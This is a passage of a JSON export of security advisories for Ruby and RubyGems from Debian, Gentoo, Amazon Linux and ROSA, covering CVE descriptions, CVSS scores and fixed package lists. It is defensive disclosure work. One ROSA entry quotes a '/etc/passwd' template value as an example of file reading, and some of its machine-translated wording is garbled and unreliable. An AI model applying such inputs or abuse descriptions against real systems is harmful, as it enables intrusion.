tar header that could\n cause an infinite loop.\n\nCVE-2018-1000076\n\n RubyGems package improperly verifies cryptographic signatures. A mis-signed\n gem could be installed if the tarball contains multiple gem signatures.\n\nCVE-2018-1000077\n\n An improper input validation vulnerability in RubyGems specification\n homepage attribute could allow malicious gem to set an invalid homepage\n URL.\n\nCVE-2018-1000078\n\n Cross Site Scripting (XSS) vulnerability in gem server display of homepage\n attribute.\n\nCVE-2018-1000079\n\n Path Traversal vulnerability during gem installation.\n\nFor Debian 8 "Jessie", these problems have been fixed in version\n2.1.5-2+deb8u4.\n\nWe recommend that you upgrade your ruby2.1 packages.\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://wiki.debian.org/LTS\nAttachment:\nsignature.asc\nDescription: PGP signature\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-07-14T06:28:37", "type": "debian", "title": "[SECURITY] [DLA 1421-1] ruby2.1 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-9096", "CVE-2016-2339", "CVE-2016-7798", "CVE-2017-0898", "CVE-2017-0899", "CVE-2017-0900", "CVE-2017-0901", "CVE-2017-0902", "CVE-2017-0903", "CVE-2017-10784", "CVE-2017-14033", "CVE-2017-14064", "CVE-2017-17405", "CVE-2017-17742", "CVE-2017-17790", "CVE-2018-1000075", "CVE-2018-1000076", "CVE-2018-1000077", "CVE-2018-1000078", "CVE-2018-1000079", "CVE-2018-6914", "CVE-2018-8777", "CVE-2018-8778", "CVE-2018-8779", "CVE-2018-8780"], "modified": "2018-07-14T06:28:37", "id": "DEBIAN:DLA-1421-1:5BC60", "href": "https://lists.debian.org/debian-lts-announce/2018/07/msg00012.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "gentoo": [{"lastseen": "2023-09-21T06:06:40", "description": "### Background\n\nRuby is an interpreted object-oriented programming language. The elaborate standard library includes an HTTP server (\u201cWEBRick\u201d) and a class for XML parsing (\u201cREXML\u201d). \n\n### Description\n\nMultiple vulnerabilities have been discovered in Ruby. Please review the referenced CVE identifiers for details. \n\n### Impact\n\nA remote attacker could execute arbitrary code, cause a Denial of Service condition, or obtain sensitive information. \n\n### Workaround\n\nThere is no known workaround at this time.\n\n### Resolution\n\nAll Ruby users should upgrade to the latest version:\n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose \">=dev-lang/ruby-2.2.8\"", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2017-10-18T00:00:00", "type": "gentoo", "title": "Ruby: Multiple vulnerabilities", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-2337", "CVE-2017-0898", "CVE-2017-10784", "CVE-2017-14033", "CVE-2017-14064"], "modified": "2017-10-18T00:00:00", "id": "GLSA-201710-18", "href": "https://security.gentoo.org/glsa/201710-18", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "amazon": [{"lastseen": "2023-09-22T21:06:26", "description": "**Issue Overview:**\n\nSMTP command injection via CRLF sequences in RCPT TO or MAIL FROM commands in Net::SMTP \nA SMTP command injection flaw was found in the way Ruby's Net::SMTP module handled CRLF sequences in certain SMTP commands. An attacker could potentially use this flaw to inject SMTP commands in a SMTP session in order to facilitate phishing attacks or spam campaigns. (CVE-2015-9096)\n\nEscape sequence injection vulnerability in the Basic authentication of WEBrick \nThe Basic authentication code in WEBrick library in Ruby allows remote attackers to inject terminal emulator escape sequences into its log and possibly execute arbitrary commands via a crafted user name. (CVE-2017-10784)\n\nBuffer underrun in OpenSSL ASN1 decode \nThe decode method in the OpenSSL::ASN1 module in Ruby allows attackers to cause a denial of service (interpreter crash) via a crafted string. (CVE-2017-14033)\n\nNo size limit in summary length of gem spec \nRubyGems is vulnerable to maliciously crafted gem specifications to cause a denial of service attack against RubyGems clients who have issued a `query` command. (CVE-2017-0900)\n\nArbitrary file overwrite due to incorrect validation of specification name \nRubyGems fails to validate specification names, allowing a maliciously crafted gem to potentially overwrite any file on the filesystem. (CVE-2017-0901)\n\nDNS hijacking vulnerability \nRubyGems is vulnerable to a DNS hijacking vulnerability that allows a MITM attacker to force the RubyGems client to download and install gems from a server that the attacker controls. (CVE-2017-0902)\n\nBuffer underrun vulnerability in Kernel.sprintf \nRuby is vulnerable to a malicious format string which contains a precious specifier (*) with a huge minus value. Such situation can lead to a buffer overrun, resulting in a heap memory corruption or an information disclosure from the heap. (CVE-2017-0898)\n\nEscape sequence in the \"summary\" field of gemspec \nRubyGems is vulnerable to maliciously crafted gem specifications that include terminal escape characters. Printing the gem specification would execute terminal escape sequences. (CVE-2017-0899)\n\nArbitrary heap exposure during a JSON.generate call \nRuby can expose arbitrary memory during a JSON.generate call. The issues lies in using strdup in ext/json/ext/generator/generator.c, which will stop after encountering a '\\\\\\0' byte, returning a pointer to a string of length zero, which is not the length stored in space_len. (CVE-2017-14064)\n\nA vulnerability was found where the rubygems module was vulnerable to an unsafe YAML deserialization when inspecting a gem. Applications inspecting gem files without installing them can be tricked to execute arbitrary code in the context of the ruby interpreter. (CVE-2017-0903)\n\n \n**Affected Packages:** \n\n\nruby22, ruby23\n\n \n**Issue Correction:** \nRun _yum update ruby22_ to update your system. \nRun _yum update ruby23_ to update your system. \n\n\n \n\n\n**New Packages:**\n \n \n i686: \n \u00a0\u00a0\u00a0 ruby22-libs-2.2.8-1.9.amzn1.i686 \n \u00a0\u00a0\u00a0 rubygem22-psych-2.0.8.1-1.9.amzn1.i686 \n \u00a0\u00a0\u00a0 ruby22-debuginfo-2.2.8-1.9.amzn1.i686 \n \u00a0\u00a0\u00a0 ruby22-2.2.8-1.9.amzn1.i686 \n \u00a0\u00a0\u00a0 ruby22-devel-2.2.8-1.9.amzn1.i686 \n \u00a0\u00a0\u00a0 rubygem22-io-console-0.4.3-1.9.amzn1.i686 \n \u00a0\u00a0\u00a0 rubygem22-bigdecimal-1.2.6-1.9.amzn1.i686 \n \u00a0\u00a0\u00a0 rubygem23-psych-2.1.0.1-1.17.amzn1.i686 \n \u00a0\u00a0\u00a0 rubygem23-io-console-0.4.5-1.17.amzn1.i686 \n \u00a0\u00a0\u00a0 rubygem23-json-1.8.3.1-1.17.amzn1.i686 \n \u00a0\u00a0\u00a0 ruby23-devel-2.3.5-1.17.amzn1.i686 \n \u00a0\u00a0\u00a0 ruby23-debuginfo-2.3.5-1.17.amzn1.i686 \n \u00a0\u00a0\u00a0 ruby23-2.3.5-1.17.amzn1.i686 \n \u00a0\u00a0\u00a0 rubygem23-bigdecimal-1.2.8-1.17.amzn1.i686 \n \u00a0\u00a0\u00a0 ruby23-libs-2.3.5-1.17.amzn1.i686 \n \n noarch: \n \u00a0\u00a0\u00a0 ruby22-irb-2.2.8-1.9.amzn1.noarch \n \u00a0\u00a0\u00a0 rubygems22-devel-2.4.5.2-1.9.amzn1.noarch \n \u00a0\u00a0\u00a0 rubygems22-2.4.5.2-1.9.amzn1.noarch \n \u00a0\u00a0\u00a0 ruby22-doc-2.2.8-1.9.amzn1.noarch \n \u00a0\u00a0\u00a0 ruby23-doc-2.3.5-1.17.amzn1.noarch \n \u00a0\u00a0\u00a0 rubygem23-did_you_mean-1.0.0-1.17.amzn1.noarch \n \u00a0\u00a0\u00a0 rubygems23-devel-2.5.2.1-1.17.amzn1.noarch \n \u00a0\u00a0\u00a0 rubygems23-2.5.2.1-1.17.amzn1.noarch \n \u00a0\u00a0\u00a0 ruby23-irb-2.3.5-1.17.amzn1.noarch \n \n src: \n \u00a0\u00a0\u00a0 ruby22-2.2.8-1.9.amzn1.src \n \u00a0\u00a0\u00a0 ruby23-2.3.5-1.17.amzn1.src \n \n x86_64: \n \u00a0\u00a0\u00a0 ruby22-2.2.8-1.9.amzn1.x86_64 \n \u00a0\u00a0\u00a0 ruby22-devel-2.2.8-1.9.amzn1.x86_64 \n \u00a0\u00a0\u00a0 ruby22-debuginfo-2.2.8-1.9.amzn1.x86_64 \n \u00a0\u00a0\u00a0 rubygem22-bigdecimal-1.2.6-1.9.amzn1.x86_64 \n \u00a0\u00a0\u00a0 ruby22-libs-2.2.8-1.9.amzn1.x86_64 \n \u00a0\u00a0\u00a0 rubygem22-psych-2.0.8.1-1.9.amzn1.x86_64 \n \u00a0\u00a0\u00a0 rubygem22-io-console-0.4.3-1.9.amzn1.x86_64 \n \u00a0\u00a0\u00a0 rubygem23-json-1.8.3.1-1.17.amzn1.x86_64 \n \u00a0\u00a0\u00a0 ruby23-debuginfo-2.3.5-1.17.amzn1.x86_64 \n \u00a0\u00a0\u00a0 rubygem23-psych-2.1.0.1-1.17.amzn1.x86_64 \n \u00a0\u00a0\u00a0 ruby23-libs-2.3.5-1.17.amzn1.x86_64 \n \u00a0\u00a0\u00a0 ruby23-2.3.5-1.17.amzn1.x86_64 \n \u00a0\u00a0\u00a0 rubygem23-bigdecimal-1.2.8-1.17.amzn1.x86_64 \n \u00a0\u00a0\u00a0 rubygem23-io-console-0.4.5-1.17.amzn1.x86_64 \n \u00a0\u00a0\u00a0 ruby23-devel-2.3.5-1.17.amzn1.x86_64 \n \n \n\n### Additional References\n\nRed Hat: [CVE-2015-9096](<https://access.redhat.com/security/cve/CVE-2015-9096>), [CVE-2017-0898](<https://access.redhat.com/security/cve/CVE-2017-0898>), [CVE-2017-0899](<https://access.redhat.com/security/cve/CVE-2017-0899>), [CVE-2017-0900](<https://access.redhat.com/security/cve/CVE-2017-0900>), [CVE-2017-0901](<https://access.redhat.com/security/cve/CVE-2017-0901>), [CVE-2017-0902](<https://access.redhat.com/security/cve/CVE-2017-0902>), [CVE-2017-0903](<https://access.redhat.com/security/cve/CVE-2017-0903>), [CVE-2017-10784](<https://access.redhat.com/security/cve/CVE-2017-10784>), [CVE-2017-14033](<https://access.redhat.com/security/cve/CVE-2017-14033>), [CVE-2017-14064](<https://access.redhat.com/security/cve/CVE-2017-14064>)\n\nMitre: [CVE-2015-9096](<https://vulners.com/cve/CVE-2015-9096>), [CVE-2017-0898](<https://vulners.com/cve/CVE-2017-0898>), [CVE-2017-0899](<https://vulners.com/cve/CVE-2017-0899>), [CVE-2017-0900](<https://vulners.com/cve/CVE-2017-0900>), [CVE-2017-0901](<https://vulners.com/cve/CVE-2017-0901>), [CVE-2017-0902](<https://vulners.com/cve/CVE-2017-0902>), [CVE-2017-0903](<https://vulners.com/cve/CVE-2017-0903>), [CVE-2017-10784](<https://vulners.com/cve/CVE-2017-10784>), [CVE-2017-14033](<https://vulners.com/cve/CVE-2017-14033>), [CVE-2017-14064](<https://vulners.com/cve/CVE-2017-14064>)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2017-10-02T17:01:00", "type": "amazon", "title": "Medium: ruby22, ruby23", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-9096", "CVE-2017-0898", "CVE-2017-0899", "CVE-2017-0900", "CVE-2017-0901", "CVE-2017-0902", "CVE-2017-0903", "CVE-2017-10784", "CVE-2017-14033", "CVE-2017-14064"], "modified": "2018-01-18T20:17:00", "id": "ALAS-2017-906", "href": "https://alas.aws.amazon.com/ALAS-2017-906.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "rosalinux": [{"lastseen": "2023-09-09T10:20:33", "description": "Software: ruby 2.0.0.648\nOS: Cobalt 7.9\n \nCVE-ID: CVE-2012-6684\nCVE-Crit: MEDIUM\nCVE-DESC: A cross-site scripting (XSS) vulnerability in the RedCloth 4.2.9 library for Ruby and earlier allows remote attackers to inject arbitrary web script or HTML via a javascript: URI. \nCVE-STATUS: default\nCVE-REV: default\n \n \nCVE-ID: CVE-2013-1812\nCVE-Crit: CRITICAL\nCVE-DESC: ruby-openid heme to 2.2.2.2 for Ruby allows remote OpenID providers to cause a denial of service (CPU consumption) via (1) a large XRDS document or (2) an XML object extension (XEE) attack. \nCVE-STATUS: default\nCVE-REV: default\n \n \nCVE-ID: CVE-2013-6459\nCVE-Crit: LOW\nCVE-DESC: A cross-site scripting (XSS) vulnerability in the will_paginate gem before version 3.0.5 for Ruby allows remote attackers to inject arbitrary web script or HTML via vectors containing generated pagination links. \nCVE-STATUS: default\nCVE-REV: default\n \n \nCVE-ID: CVE-2015-2963\nCVE-Crit: CRITICAL\nCVE-DESC: Prior to version 4.2.2, the gem-scrape for Ruby did not consider the content type value during media type checking, allowing remote attackers to download HTML documents and conduct cross-site scripting (XSS) attacks using a spoofed value. , as shown in image / jpeg. \nCVE-STATUS: Default\nCVE-REV: default\n \n \nCVE-ID: CVE-2015-4411\nCVE-Crit: HIGH\nCVE-DESC: mongodb :: BSON :: ObjecId.legal? Method in mongodb / bson-ruby before 3.0.4, used in rubygem-moped, allows remote attackers to cause a denial of service (resource consumption by workers) using a crafted string. NOTE. This issue is related to an incomplete fix for CVE-2015-4410. \nCVE-STATUS: default\nCVE-REV: default\n \n \nCVE-ID: CVE-2015-9096\nCVE-Crit: MEDIUM\nCVE-DESC: Net :: SMTP in Ruby before 2.4.0 is vulnerable to SMTP command injection via CRLF sequences in RCPT TO or MAIL FROM commands, as demonstrated by CRLF sequences immediately before and after the DATA substring. \nCVE-STATUS: default\nCVE-REV: default\n \n \nCVE-ID: CVE-2015-9097\nCVE-Crit: MEDIUM\nCVE-DESC: The mail gem before 2.5.5.5 for Ruby (aka Really Ruby Mail Library) is vulnerable to SMTP command injection via CRLF sequences in RCPT TO or MAIL FROM commands, as demonstrated by CRLF sequences immediately before and after DATA. substring. \nCVE-STATUS: default\nCVE-REV: default\n \n \nCVE-ID: CVE-2016-6582\nCVE-Crit: CRITICAL\nCVE-DESC: The Doorkeeper gem prior to version 4.2.0 for Ruby could allow remote attackers to conduct replay attacks or revoke arbitrary tokens by failing to implement the OAuth 2.0 token revocation specification. \nCVE-STATUS: default\nCVE-REV: Default\n \n \nCVE-ID: CVE-2017-1002201\nCVE-Crit: MEDIUM\nCVE-DESC: in haml versions prior to 5.0.0.beta.2, when using user input to perform tasks on the server, characters like <> \"'should be escaped properly. In this case, a character is missing'. An attacker could manipulate the input to introduce additional attributes, potentially executing code. \nCVE-STATUS: default\nCVE-REV: default\n \n \nCVE-ID: CVE-2017-9224\nCVE-Crit: CRITICAL\nCVE-DESC: The issue was found in Oniguruma 6.2.0, which was used in Oniguruma-mod in Ruby before 2.4.1 and mbstring in PHP before 7.1.5. Off-stack reads occur in match_at () during regular expression lookup. A logical error related to the check and access ordering in match_at () can lead to reading outside the valid range from the stack buffer. \nCVE-STATUS: default\nCVE-REV: default\n \n \nCVE-ID: CVE-2017-9225\nCVE-Crit: CRITICAL\nCVE-DESC: The issue was found in Oniguruma 6.2.0, which was used in oniguruma-mod in Ruby before 2.4.1 and mbstring in PHP before 7.1.5. Off-stack writes in onigenc_unicode_get_case_fold_codes_by_str () occur during regular expression compilation. Code point 0xFFFFFFFFFFFF is incorrectly handled in unicode_unfold_key (). An incorrectly formed regular expression can cause 4 bytes to be written off the end of the stack buffer of expand_case_fold_string () during a call to onigenc_unicode_get_case_fold_codes_by_str (), a typical stack buffer overflow. \nCVE-STATUS: default\nCVE-REV: default\n \n \nCVE-ID: CVE-2017-9226\nCVE-Crit: CRITICAL\nCVE-DESC: The issue was found in Oniguruma 6.2.0, which was used in Oniguruma-mod in Ruby before 2.4.1.1 and mbstring in PHP before 7.1.5. Writing or reading outside the heap occurs in next_state_val () during regular expression compilation. Octal numbers greater than 0xff are incorrectly handled in fetch_token () and fetch_token_in_cc (). An incorrectly generated regular expression containing an octal number of the form '{ 700' will result in an invalid code point value greater than 0xff in next_state_val (), which will cause memory corruption when writing beyond the valid limits. \nCVE-STATUS: default\nCVE-REV: default\n \n \nCVE-ID: CVE-2017-9227\nCVE-Crit: CRITICAL\nCVE-DESC: The issue was found in Oniguruma 6.2.0, which was used in Oniguruma-mod in Ruby before 2.4.1 and mbstring in PHP before 7.1.5. Off-stack reads occur in mbc_enc_len () during regular expression lookup. Invalid reg-> dmin processing in forward_search_range () may result in invalid pointer dereferencing, since the out-of-bounds output is read from the stack buffer. \nCVE-STATUS: default\nCVE-REV: default\n \n \nCVE-ID: CVE-2017-9228\nCVE-Crit: CRITICAL\nCVE-DESC: The issue was found in Oniguruma 6.2.0, which was used in Oniguruma-mod in Ruby before 2.4.1.1 and mbstring in PHP before 7.1.5. An off-heap write occurs in bitset_set_range () during compilation of a regular expression due to an uninitialized variable from an invalid state transition. An invalid state transition in parse_char_class () can create an execution path that leaves a critical local variable uninitialized until it is used as an index, resulting in memory corruption of writing outside the allowed limits. \nCVE-STATUS: default\nCVE-REV: default\n \n \nCVE-ID: CVE-2017-9229\nCVE-Crit: HIGH\nCVE-DESC: The issue was found in Oniguruma 6.2.0, which was used in Oniguruma-mod in Ruby before 2.4.1.1 and mbstring in PHP before 7.1.5. SIGSEGV occurs in left_adjust_char_head () during regular expression compilation. Invalid reg-> dmax processing in forward_search_range () can result in invalid pointer dereferencing, usually as an immediate denial-of-service condition. \nCVE-STATUS: default\nCVE-REV: default\n \n \nCVE-ID: CVE-2018-16468\nCVE-Crit: MEDIUM\nCVE-DESC: In the Loofah gem for Ruby, up to v2.2.2, raw JavaScript code may appear in the cleaned output when republishing a created SVG element. \nCVE-STATUS: default\nCVE-REV: default\n \n \nCVE-ID: CVE-2018-3740\nCVE-Crit: HIGH\nCVE-DESC: A specially crafted HTML snippet can cause the Sanitize gem for Ruby to allow non-whitelisted attributes in a whitelisted HTML element. \nCVE-STATUS: default\nCVE-REV: default\n \n \nCVE-ID: CVE-2018-3777\nCVE-Crit: CRITICAL\nCVE-DESC: Insufficient URI encoding in restforce before version 3.0.0 allows an attacker to inject arbitrary parameters into Salesforce API requests. \nCVE-STATUS: default\nCVE-REV: default\n \n \nCVE-ID: CVE-2018-8048\nCVE-Crit: MEDIUM\nCVE-DESC: In the Loofah gem prior to version 2.2.0 for Ruby, HTML attributes that are not whitelisted can appear in cleaned output by republishing the created HTML snippet. \nCVE-STATUS: default\nCVE-REV: default\n \n \nCVE-ID: CVE-2019-12732\nCVE-Crit: MEDIUM\nCVE-DESC: Chartkick gem up to version 3.1.0 for Ruby supports XSS. \nCVE-STATUS: Default\nCVE-REV: default\n \n \nCVE-ID: CVE-2019-17383\nCVE-Crit: CRITICAL\nCVE-DESC: netaddr gem before 2.0.4 for Ruby has incorrectly configured file permissions, so installing the gem may result in 0777 permissions on the target file system. \nCVE-STATUS: default\nCVE-REV: default\n \n \nCVE-ID: CVE-2019-16254\nCVE-Crit: MEDIUM\nCVE-DESC: Ruby up to versions 2.4.7, 2.5.x to 2.5.6, and 2.6.x to 2.6.4 allows HTTP response splitting. If a program using WEBrick inserts untrusted input into the response header, an attacker could use it to insert a newline character to split the header and inject malicious content to trick clients. NOTE: this issue exists due to an incomplete fix for CVE-2017-17742 that addressed the CRLF vector but did not address the isolated CR or isolated LF. \nCVE-STATUS: default\nCVE-REV: default\n \n \nCVE-ID: CVE-2019-15587\nCVE-Crit: MEDIUM\nCVE-DESC: In the Loofah gem for Ruby before v2.3.0, raw JavaScript may appear in the cleaned output when republishing a created SVG element. \nCVE-STATUS: default\nCVE-REV: default\n \n \nCVE-ID: CVE-2019-3881\nCVE-Crit: HIGH\nCVE-DESC: Bundler before 2.1.0 uses a predictable path in / tmp /, created with unprotected permissions, as the storage location for gems if locations in the user's home directory are unavailable. If Bundler is used in a scenario where the user does not have a writable home directory, an attacker could place malicious code in that directory that is later downloaded and executed. \nCVE-STATUS: Default\nCVE-REV: Default\n \n \nCVE-ID: CVE-2020-15237\nCVE-Crit: MEDIUM\nCVE-DESC: In Shrine before version 3.3.0, when using the `Derivation_endpoint` plug-in, an attacker could use a timing attack to guess the signature of a derived URL. The problem was fixed by comparing the sent and computed signature over a constant time using `Rack :: Utils.secure_compare`. Users using the `Derivation_endpoint` plugin are strongly recommended to upgrade to Shrine 3.3.0 or higher. A possible workaround is listed in the linked recommendations. \nCVE-STATUS: default\nCVE-REV: default\n \n \nCVE-ID: CVE-2020-14001\nCVE-Crit: CRITICAL\nCVE-DESC: The kramdown gem prior to 2.3.0 for Ruby by default handles the template parameter within Kramdown documents, allowing unintended read access (e.g., template = \"/ etc / passwd\") or unintended execution of Ruby embedded code (e.g., a string that starts with template = \"string: //\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-02T18:06:34", "type": "rosalinux", "title": "Advisory ROSA-SA-2021-1966", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.6, "vectorString": "AV:N/AC:H/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-6684", "CVE-2013-1812", "CVE-2013-6459", "CVE-2015-2963", "CVE-2015-4410", "CVE-2015-4411", "CVE-2015-9096", "CVE-2015-9097", "CVE-2016-6582", "CVE-2017-1002201", "CVE-2017-17742", "CVE-2017-9224", "CVE-2017-9225", "CVE-2017-9226", "CVE-2017-9227", "CVE-2017-9228", "CVE-2017-9229", "CVE-2018-16468", "CVE-2018-3740", "CVE-2018-3777", "CVE-2018-8048", "CVE-2019-12732", "CVE-2019-15587", "CVE-2019-16254", "CVE-2019-17383", "CVE-2019-3881", "CVE-2020-14001", "CVE-2020-15169", "CVE-2020-15237", "CVE-2020-16253", "CVE-2020-16254", "CVE-2020-25613", "CVE-2020-25739", "CVE-2020-26298", "CVE-2020-36190", "CVE-2020-5216", "CVE-2020-5217", "CVE-2020-5247", "CVE-2020-5249", "CVE-2020-7670", "CVE-2021-21289", "CVE-2021-28834", "CVE-2021-28965", "CVE-2021-29509"], "modified": "2021-07-02T18:06:34", "id": "ROSA-SA-2021-1966", "href": "https://abf.rosalinux.ru/advisories/ROSA-SA-2021-1966", "cvss": {"score": 7.6, "vector": "AV:N/AC:H/Au:N/C:C/I:C/A:C"}}]}
Updated ruby packages fix security vulnerabilities
